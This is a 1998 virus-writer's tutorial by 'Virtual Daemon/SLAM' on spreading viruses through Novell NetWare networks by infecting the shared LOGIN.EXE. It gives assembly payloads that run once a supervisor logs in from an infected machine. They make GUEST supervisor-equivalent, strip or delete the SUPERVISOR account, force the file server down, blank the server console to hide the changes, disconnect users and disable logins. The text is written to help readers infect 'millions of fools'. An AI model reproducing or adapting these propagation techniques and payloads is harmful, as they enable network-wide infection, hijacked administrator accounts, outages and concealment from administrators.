SLAM4.018: Novell Network Actions by Virtual Daemon/SLAM
Using the Novell Network to spread your viruses faster
version 1.0
by Virtual Daemon/SLAM
1. Introduction
After days and days of hardcore coding, after many nights spent in front of your computer and after many headaches you FINALLY finished your virus. You've now decided to spread it around, to infect other computers. So you're thinking how, and where to strike? You want to take down as many computers as possible, to infect millions of fools. Well my friend, the answer is the NETWORK.
Nowadays, there are way too many different types of networks out there...so covering all of them in just one tutorial is impossible. That is why this little tutorial will only cover one of them: the Novell Network.
I will try to present you the benefits of using the Novell Network, as well as some of it's functions and API calls that can be used in your payloads. All the code provided here has been tested and worked fine with Novell v4.1.
2. Novell Network: friend or enemy?
First, let's see what are the Novell network's specific features. (read the following lines only if you haven't worked with a Novell network before!)
The Novell network is a Local Area Network. Unlike other LAN's, the Novell network requires a dedicated server 24h/day that will keep the network "alive". A Novell user station must be equipped with a network card and with an appropriate software client. One of the most popular user clients for Novell is NWCLIENT (Network Client).
The Novell network uses the IPX/SPX protocol (unlike UNIX who uses TCP/IP).
After the network driver for the specified network card is loaded, and the IPX protocol is installed, the client's software will MAP a virtual drive in memory (usually drive F:) as the LOGIN directory located on the server's HDD. The LOGIN directory usually contains 2 important programs (EXE files): Login (LOGIN.EXE - attach to the Novell server and login in an user) and the Logout program (LOGOUT.EXE - deattach/logout from the server).
On the server's hard drive, there are also stored another 2 important directories: /PUBLIC and /SYSTEM. The SYSTEM directory contains a bunch of NLM's (Network Loadable Modules) and some other important stuff and the PUBLIC directory contains some important programs/utilities for easy administration of the network.
After the user logs in, the server will give the user specific rights to access certain files and/or directories. Here is a list with all the Novell rights:
- Supervisor (S): Grants all rights to the directory, its files, and subdirectories. The Supervisor right cannot be blocked by an Inherited Rights Filter. Users with this right can grant other users rights to the directory, its files, and subdirectories.
- Read (R): Grants the right to open files in the directory and read their contents or run the programs.
- Write (W): Grants the right to open and change the contents of files in the directory.
- Create (C): Grants the right to create new files and subdirectories in the directory. If Create is the only right granted to a trustee for the directory, and no other rights are granted below the directory, a drop box directory is created. In a drop box directory, you can create a file and write to it. Once the file is closed, however, only a trustee with more rights than Create can see or update the file. You can copy files or subdirectories into the directory and assume ownership of the them, but other users' rights are revoked.
- Erase (E): Grants the right to delete the directory, its files, and subdirectories.
- Modify (M): Grants the right to change the attributes or name of the directory and of its files and subdirectories-but does not grant the right to change the contents of them. (That requires the Write right.)
- File Scan (F): Grants the right to see the directory and its files with the DIR or NDIR directory command.
- Access Control (A): Grants the right to change the trustee assignments and Inherited Rights Filter of the directory and of its files and subdirectories.
Now that we've cleared some basic things, let's get to the point. In most of the cases, in a "no-network-around" environment, a virus spreads itself mostly via floppy disks or compact disks.
Well cheer up, because those times are history now! Now you can actually use the network to spread your viruses. You don't need to copy an infected program on a floppy disk in order to infect another computer.All you have to do, is to login to the novell network! :)
One method to spread your virus faster would be to copy your virus to a public directory/user, like (for example) GUEST. Since more than one person has access to this user, the chances that someone will get infected with your virus are bigger. Then again, maybe not... :-/
Well, the best method (by far) to spread your virus would be to infect a file that is accessed many times by many users... a file that can't be erased due to it's importance in the network. Still haven't guessed about what file am I talking about? Well, I'll tell ya anyway... the best thing to do is to infect the LOGIN.EXE program from the LOGIN or PUBLIC directory. The LOGIN.EXE program is called everytime an user wants to login to the network, so it makes one hell of a target. Think... if an user will login from an uninfected computer, his computer will be automatically infected when he runs LOGIN.EXE. So, that means that the virus will spread faster, right?
But in order to infect the LogIn/LogOut programs, you must have rights to write to the LOGIN (or PUBLIC) directory. And since only the SUPERVISOR user has rights to write there, you'll first have to gain SUPERVISOR access. After doing a more complete research, I found out that that Novell v4.x doesn't have the same bug that Novell v3.x had. "Unfortunately", the engineeres from Novell Co. did a very good job and corrected that bug, so Novell v4.x can not be hacked that way.
Since we won't be able to hack the supervisor, we're just going to wait till a supervisor equivalent user logs in from an infected computer. Then our virus will intercept it, and it will automatically infect the LOGIN.EXE file. That's the best thing you can do!
3. Cut the bullshit and give me some code
It will probably take me about 1MB to show/explain you all the Novell API calls and the DOS Novell functions. And since this was supposed to be one tiny tutorial, I won't do it... I will only show you some basic (?) stuff... For other Novell related functions, check out Ralf Brown's Interrupt list. So, here goes a list with the functions that will be covered in this tutorial:
- Low level API (IPX) installation check (function 7A00h, int 2Fh)
- Novell Netware - TTS - installation check (function C702h, int 21h)
- Novell Netware - Bindery services - GET BINDERY ACCESS LEVEL (subfunction 46h, function E3h, int 21h)
- Novell Netware - Bindery services - ADD BINDERY OBJECT TO SET (subfunction 41h, function E3h, int 21h)
- Novell Netware - Bindery services - DELETE BINDERY OBJECT FROM SET (subfunction 42h, function E3h, int 21h)
- Novell Netware - Bindery services - DELETE BINDERY OBJECT (subfunction 33h, function E3h, int 21h)
- Novell Netware - File Server - DOWN FILE SERVER (subfunction D3h, function E3h, int 21h)
- Novell Netware - Message Services - BROADCAST TO CONSOLE (subfunction 09h, function E1h, int 21h)
- Novell NetWare - File Server - CLEAR CONNECTION NUMBER (subfunction 0D2h, function E3h, int 21h)
- Novell Netware - Connection Services - SYSTEM LOGOUT (function D7h, int 21h)
- Novell NetWare - File Server - DISABLE/ENABLE FILE SERVER LOGIN (subfunction CBh/CCh, function E3h, int 21h)
- Novell Netware - Message Services - SEND BROADCAST MESSAGE (subfunction 00h, function E1h, int 21h)
4. First step: using the Novell Network to spread your virus faster
First, we need to know if the network client software is installed. This can be done in several ways, one better then the other... The easier way to do it is to check if the IPX protocol is installed.
--------N-2F7A00-----------------------------
;INT 2F - Novell NetWare - LOW-LEVEL API (IPX) INSTALLATION CHECK
; AX = 7A00h
;Return: AL = status
; 00h not installed
; FFh installed
; ES:DI -> FAR entry point for routines accessed exclusively
; through INT 7A in NetWare versions through 2.0a.
; Call with same values as INT 7A
; ES:BX -> two bytes containing IPX major/minor version
; (IPXODI v2.12; BX unchanged by older IPX drivers)
;
;-- code follows --
mov ax,7A00h ;IPX installation check
int 2fh
cmp al,0 ;check if installed
je not_installed
---------------------------------------------
Since the above method isn't quite 100% safe, it would be wise to check if the TTS (Transaction Tracking System) is installed too. Here is the function:
--------N-21C702-----------------------------
INT 21 - Novell NetWare - TRANSACTION TRACKING SYSTEM - INSTALLATION CHECK
AX = C702h
Return: AL = status
00h not available
01h available
FDh available but disabled
Desc: determine whether the default file server supports TTS
---------------------------------------------
After checking the network status, our main goal is to infect the LOGIN program located in the LOGIN or PUBLIC directories. But, in order to infect LOGIN, you must have rights to write to the file. And since only the supervisor has rights to write there, you must be supervisor. So, we need to check if the user that is currently logged in is supervisor equivalent or not. For that, we will use the following function:
--------N-21E3--SF46-------------------------
;INT 21 - Novell NetWare - BINDERY SERVICES - GET BINDERY ACCESS LEVEL
; AH = E3h subfn 46h
; DS:SI -> request buffer (see #1610)
; ES:DI -> reply buffer (see #1611)
;Return: AL = status
; 00h successful
;Format of NetWare "Get Bindery Access Level" request buffer:
;Offset Size Description (Table 1610)
; 00h WORD 0001h (length of following data)
; 02h BYTE 46h (subfunction "Get Bindery Access Level")
;
;Format of NetWare "Get Bindery Access Level" reply buffer:
;Offset Size Description (Table 1611)
; 00h WORD 0005h (length of following buffer)
; 02h BYTE security levels
; 03h DWORD (big-endian) object ID
;
;-- code follows --
mov word ptr req,1 ;length of following data (word) must be =1
mov byte ptr req+2,46h ;subfunction 46h=Get Bindery Access Level
mov word ptr reply,5 ;length of following buffer must be 5
mov ah,0e3h ;bindery services-get bindery access level
lea si,req
lea di,reply
int 21h
mov al,byte ptr reply+2 ;al=security levels
cmp al,33h ;check if supervisor equivalent
jne no_supervisor_found
req db 3 dup (?)
reply db 7 dup (?)
---------------------------------------------
After executing the above code we should be able to find out if the logged in user is supervisor equivalent. If it is, then we will try to infect the LOGIN.EXE program located in the LOGIN directory.
5. Second step: Novell Network payloads
A cool payload would be to give to the other users specific rights, if on the infected system a supervisor is currently logged in. You can make other users SUPERVISOR EQUIVALENT or you can give em other rights to other files or directories from the network. Also, if the supervisor is a BIG asshole you could remove its supervisor rights...That would be cool, don't ya think? ;) Imagine: a novell network where the ADMIN (or SUPERVISOR) user can't access others files or directories... heheheh... Hey! You could even swap the rights between the GUEST user and the SUPERVISOR user... Aehm, I will leave ur imagination to fly away over this subject... ;) Since there is a LOT to talk about this, I will only resume to one case, where the virus will make another user supervisor equivalent and will remove the supervisor rights from the ADMIN (Novell 4.x) or SUPERVISOR (Novell 3.x) users. In order to do that we'll use the following two functions:
--------N-21E3--SF41-------------------------
INT 21 - Novell NetWare - BINDERY SERVICES - ADD BINDERY OBJECT TO SET
AH = E3h subfn 41h
DS:SI -> request buffer (see #1604)
ES:DI -> reply buffer (see #1602)
Return: AL = status (see #1603)
Desc: add the specified object to an object's group property
(Table 1603)
Values for NetWare function status:
00h successful
96h server out of memory
E9h member already exists
EAh member does not exist
EBh not a group property
F0h wildcard not allowed
F8h can't write property
F9h not permitted to read property
FBh no such property
FCh no such object
FEh server bindery locked
FFh bindery failure
Format of NetWare "Add Bindery Object to Set" request buffer:
Offset Size Description (Table 1604)
00h WORD length of following data (max 75h)
02h BYTE 41h (subfunction "Add Bindery Object to Set")
03h WORD (big-endian) type of object
05h BYTE length of object's name
06h N BYTEs object name
BYTE length of property name (01h-0Fh)
N BYTEs property name
WORD (big-endian) type of member object
BYTE length of member object's name
N BYTEs member object's name
Format of NetWare reply buffer:
Offset Size Description (Table 1602)
00h WORD (call) 0000h (no data returned)
--------N-21E3--SF42-------------------------
INT 21 - Novell NetWare - BINDERY SERVICES - DELETE BINDERY OBJECT FROM SET
AH = E3h subfn 42h
DS:SI -> request buffer (see #1605)
ES:DI -> reply buffer (see #1606)
Return: AL = status (see #1603)
Desc: delete the specified object from a set property
Format of NetWare "Delete Bindery Object from Set" request buffer:
Offset Size Description (Table 1605)
00h WORD length of following data (max 75h)
02h BYTE 42h (subfunction "Delete Bindery Object from Set")
03h WORD (big-endian) type of object
05h BYTE length of object's name
06h N BYTEs object name
BYTE length of property name (01h-0Fh)
N BYTEs property name
WORD (big-endian) type of member object
BYTE length of member object's name
N BYTEs member object's name
Format of NetWare reply buffer:
Offset Size Description (Table 1606)
00h WORD (call) 0000h (no data returned)
Values for names of well-known NetWare properties:
ACCOUNT_BALANCE
ACCOUNT_SERVERS
GROUP_MEMBERS
GROUPS_I'M_IN
IDENTIFICATION user's name
LOGIN_CONTROL
NET_ADDRESS
OPERATORS
PASSWORD
SECURITY_EQUALS
---------------------------------------------
Now let's see some code...
;-- code follows --
mov word ptr req,75h ;length of following data (max 75h)
mov byte ptr req+2,41h ;subfunction 41h=Add Bindery Object to Set
mov word ptr req+3,256 ;type of object
mov byte ptr req+5,5 ;length of object's name (GUEST=5 chars)
mov si,offset obj_name ;put the name of the object in SI
mov di,offset req+6 ;offset 6 from request must contain the name
mov cx,5
rep movsb
mov byte ptr req+11,15 ;length of property name (SECURITY EQUALS=15)
mov si,offset propname ;put the name of the property in SI
mov di,offset req+12 ;we'll move the property name here
mov cx,15
rep movsb
mov word ptr req+27,256 ;type of member object
mov byte ptr req+29,10 ;length of member object's name (SUPERVISOR=10)
mov si,offset mon ;put the name of the member object's name in SI
mov di,offset req+30 ;we'll move the member object's name here
mov cx,10
rep movsb
mov ah,0e3h ;bindery services-add bindery object to set
lea si,req
lea di,reply
int 21h
cmp al,0 ;check for errors
je no_error
req db 75h dup (?)
reply dw 0
obj_name db 'GUEST' ;=username you want to give rights to
propname db 'SECURITY_EQUALS' ;property name
mon db 'SUPERVISOR' ;member object's name
;---cut here---
The above code will make the GUEST user supervisor equivalent (that means that the GUEST user will have all the possible rights on the whole network). Now let's see how can we remove the supervisor rights from the SUPERVISOR user... ;)
;-- code follows --
mov word ptr req,75h ;length of following data (max 75h)
mov byte ptr req+2,42h ;subfunction 42h=Delete Bindery Object from Set
mov word ptr req+3,256 ;type of object
mov byte ptr req+5,10 ;length of object's name (SUPERVISOR=10 chars)
mov si,offset obj_name ;put the name of the object in SI
mov di,offset req+6 ;offset 6 from request must contain the name
mov cx,10
rep movsb
mov byte ptr req+16,15 ;length of property name (SECURITY EQUALS=15)
mov si,offset propname ;put the name of the property in SI
mov di,offset req+17 ;we'll move the property name here
mov cx,15
rep movsb
mov word ptr req+38,256 ;type of member object
mov byte ptr req+40,10 ;length of member object's name (SUPERVISOR=10)
mov si,offset mon ;put the name of the member object's name in SI
mov di,offset req+41 ;we'll move the member object's name here
mov cx,10
rep movsb
lea si,req
lea di,reply
mov ah,0e3h ;bindery services-delete bindery object from set
int 21h
cmp al,0 ;check for errors
je no_error
req db 75h dup (?)
reply dw 0
obj_name db 'SUPERVISOR' ;=username you want to delete rights from
propname db 'SECURITY_EQUALS' ;property name
mon db 'SUPERVISOR' ;member object's name
;---cut here---
These two subfunctions ("add bindery object to set" and "delete bindery object from set") can only be used if you are supervisor equivalent. So, you should use em when the SUPERVISOR user has logged in from an infected station.
Another diabolic thing would be to wipe out (erase, delete, whatever ;) the SUPERVISOR user from the network. That would REALLY catch everyone's attention.
For that, you must use the "delete bindery object" subfunction:
--------N-21E3--SF33-------------------------
;INT 21 - Novell NetWare - BINDERY SERVICES - DELETE BINDERY OBJECT
; AH = E3h subfn 33h
; DS:SI -> request buffer (see #1611)
; ES:DI -> reply buffer (see #1610)
;Return: AL = status (see #1608)
;
;Format of NetWare "Delete Bindery Object" request buffer:
;Offset Size Description (Table 1611)
; 00h WORD length of following data (max 33h)
; 02h BYTE 33h (subfunction "Delete Bindery Object")
; 03h WORD (big-endian) type of object
; 05h BYTE length of object's name (01h-2Fh)
; 06h N BYTEs object's name
;
;-- code follows --
mov word ptr req,33h ;length of following data (max 33h)
mov byte ptr req+2,33h ;subfunction 33h=Delete Bindery Object
mov cx,1
xchg ch,cl
mov word ptr req+3,cx ;type of object (user)
mov byte ptr req+5,10 ;length of object's name (username)
mov cx,10
lea di,req+6 ;move the user's name
lea si,user
rep movsb
mov ah,0e3h ;bindery services-delete bindery object
lea si,req
lea di,reply
int 21h
cmp al,0 ;check for errors
je no_error
req db 35h dup (?)
reply dw 0
user db 'SUPERVISOR' ;user you want to erase
---------------------------------------------
Here comes the fun part! You can REBOOT (down) the Novell server if you are supervisor equivalent from a workstation. Look pa'... no hands! =)
--------N-21E3--SFD3-------------------------
;INT 21 - Novell NetWare - FILE SERVER - DOWN FILE SERVER
; AH = E3h subfn D3h
; DS:SI -> request buffer (see #1680)
; ES:DI -> reply buffer (see #1678)
;Return: AL = status (00h,C6h,FFh) (see #1679)
;Desc: take down the file server
;Notes: the calling workstation must have SUPERVISOR privileges
;
;(Table 1679)
;Values for NetWare function status:
; 00h successful
; C6h no console rights
; FFh files open
;
;Format of NetWare "Down File Server" request buffer:
;Offset Size Description (Table 1680)
; 00h WORD 0002h (length of following data)
; 02h BYTE D3h (subfunction "Down File Server")
; 03h BYTE flag: force down even if files open if nonzero
;
;-- code follows --
mov word ptr req,2 ;length of following data (word) must be =2
mov byte ptr req+2,0d3h ;subfunction D3h="Down File Server"
mov byte ptr req+3,1 ;use force mode
mov ah,0e3h ;file server-down file server
lea si,req
lea di,reply
int 21h
cmp al,0 ;check for errors
je no_error
req db 4 dup (?)
reply dw 0
---------------------------------------------
Since one of the most important things you must think of is to COVER your tracks, you should take in consideration that everything you do on the net, is written on the server's screen. For instance if you will add supervisor rights to user guest, the Novell server will display a message on it's screen like this "User XXX has made user YYY supervisor equivalent", or something like that... Well, the wisest thing to do is to clear the Novell server's screen.
For that, you should use the following function:
--------N-21E1--SF09-------------------------
;INT 21 - Novell NetWare - MESSAGE SERVICES - BROADCAST TO CONSOLE
; AH = E1h subfn 09h
; DS:SI -> request buffer (see #1525)
; ES:DI -> reply buffer (see #1526)
;Return: AL = status (see #1522)
;Desc: send a one-line message to the system console on the default file
; server
;
;Format of NetWare "Broadcast to Console" request buffer:
;Offset Size Description (Table 1525)
; 00h WORD length of following data (max 3Eh)
; 02h BYTE 09h (subfunction "Broadcast to Console")
; 03h BYTE length of message (01h-3Ch)
; 04h N BYTEs message (no control characters or characters > 7Eh)
;
;Format of NetWare reply buffer:
;Offset Size Description (Table 1526)
; 00h WORD (call) 0000h (no results returned)
;
;-- code follows --
mov word ptr req,3eh ;length of following data (max 3Eh)
mov byte ptr req+2,9 ;subfunction 09h="Broadcast to Console"
mov byte ptr req+3,3ch ;length of message (max 3Ch)
mov si,offset message ;message
mov di,offset req+4
mov cx,3ch
rep movsb
lea si,req
mov ah,0e1h ;message services-broadcast to console
int 21h
req db 64 dup (?)
message db 3ch dup (10)
---------------------------------------------
Now that you're a supervisor (you should be by now :), you can easily play with other connections. The following function will terminate (logout from server) a connection number:
--------N-21E3--SFD2-------------------------
;INT 21 - Novell NetWare - FILE SERVER - CLEAR CONNECTION NUMBER
; AH = E3h subfn D2h
; DS:SI -> request buffer (see #1711)
; ES:DI -> reply buffer (see #1712)
;Return: AL = status (00h,C6h) (see #1713)
;Desc: close the open files and release all file locks for a connection,
; abort transactions if a TTS file server, and detach from the file
; server
;Notes:the caller must have SUPERVISOR privileges
;
;Format of NetWare "Clear Connection Number" request buffer:
;Offset Size Description (Table 1711)
; 00h WORD 0002h (length of following data)
; 02h BYTE D2h (subfunction "Clear Connection Number")
; 03h BYTE connection number
;
;Format of NetWare reply buffer:
;Offset Size Description (Table 1712)
; 00h WORD (call) 0000h (no results returned)
;
;-- code follows --
mov word ptr req,2 ;length of following data
mov byte ptr req+2,0d2h ;subfunction "Clear Connection Number"
mov byte ptr req+3,3 ;connection number
mov ah,0e3h ;file server - clear connection number
lea si,req
lea di,reply
int 21h
cmp al,0 ;check if error
je no_error
req db 4 dup (?)
reply dw 0
---------------------------------------------
OR... you can enable/disable the login... If you disable it, no user will be able to connect to the Novell server until someone enables it back.
--------N-21E3--SFCB-------------------------
;INT 21 - Novell NetWare - FILE SERVER - DISABLE/ENABLE FILE SERVER LOGIN
; AH = E3h subfn CBh/CCh
; DS:SI -> request buffer (see #1701)
; ES:DI -> reply buffer (see #1702)
;Return: AL = status (00h,C6h) (see #1690)
;
;Format of NetWare "Disable File Server Login" request buffer:
;Offset Size Description (Table 1701)
; 00h WORD 0001h (length of following data)
; 02h BYTE CBh/CCh (subfunction "Disable/Enable File Server Login")
;
;Format of NetWare reply buffer:
;Offset Size Description (Table 1702)
; 00h WORD (call) 0000h (no results returned)
;
;-- code follows --
mov word ptr req,1 ;length of following data (max 3Eh)
mov byte ptr req+2,0cch ;0cch=enable, 0cbh=disable
mov ah,0e3h ;file server - disable/enable file server login
lea si,req
lea di,reply
int 21h
cmp al,0 ;check if error
je no_error
req db 3 dup (?)
reply dw 0
---------------------------------------------
Another diabolic function is the Logout function. You can easily deattach from the Novell server using this function:
;---------------------------------------------
;INT 21 - Novell NetWare -CONNECTION SERVICES - SYSTEM LOGOUT
; AH = D7h
;Return: AL = error code
;Desc: this function closes the caller's open files, logs it out from all
; file servers, detaches the workstation from all non-default file
; servers, and maps a drive to the default server's SYS:LOGIN directory
;
;-- code follows -- (shortest piece ;)
mov ah,0d7h ;connection services-system logout
int 21h
---------------------------------------------
There's only one more to go... with this one, you can send a message to a specified user that is currently logged in.
--------N-21E1--SF00-------------------------
;INT 21 - Novell NetWare - MESSAGE SERVICES - SEND BROADCAST MESSAGE
; AH = E1h subfn 00h
; DS:SI -> request buffer (see #1507)
; ES:DI -> reply buffer (see #1508)
;Return: AL = status
; 00h successful
; FEh I/O error or out of dynamic workspace
;
;Format of NetWare "Send Broadcast Message" request buffer:
;Offset Size Description (Table 1507)
; 00h WORD length of following data (max 9Eh)
; 02h BYTE 00h (subfunction "Send Broadcast Message")
; 03h BYTE number of connections (01h-64h)
; 04h N BYTEs list of connections to receive broadcast message
; BYTE length of message (01h-37h)
; N BYTEs broadcast message (no characters > 7Eh)
;
;Format of NetWare "Send Broadcast Message" reply buffer:
;Offset Size Description (Table 1508)
; 00h WORD (call) size of following results buffer (max 65h)
; 02h BYTE number of connections
; 03h N BYTEs list of per-connection results
; 00h successful
; FCh message rejected due to lack of buffer space
; FDh invalid connection number
; FFh blocked (see also AH=E1h/SF=02h)
;
;-- code follows --
mov word ptr req,9eh ;length of following data (max 9Eh)
mov byte ptr req+2,0 ;subfunction 00h=Send Broadcast Message
mov byte ptr req+3,1 ;number of connections
mov byte ptr req+4,5 ;connection_number
mov byte ptr req+5,12 ;message length
mov cx,12
lea di,req+6
lea si,mess
rep movsb
mov ah,0e1h ;message services - send broadcast message
lea si,req
lea di,reply
int 21h
cmp al,0
je no_error
req db 7eh dup (?)
reply dw 0
mess db 'Test message'
---------------------------------------------
Well, we've reached the end of this tutorial. I know this wasn't much, and I know you've expected more, but hmm.. that's all! As you see from the title, this is version 1.0alfa of this tutorial... So, hmm that means that I will continue to work on this someday. Stay tuned to find out anyway...
Catch ya l8r...
Virtual Daemon / SLAM 1998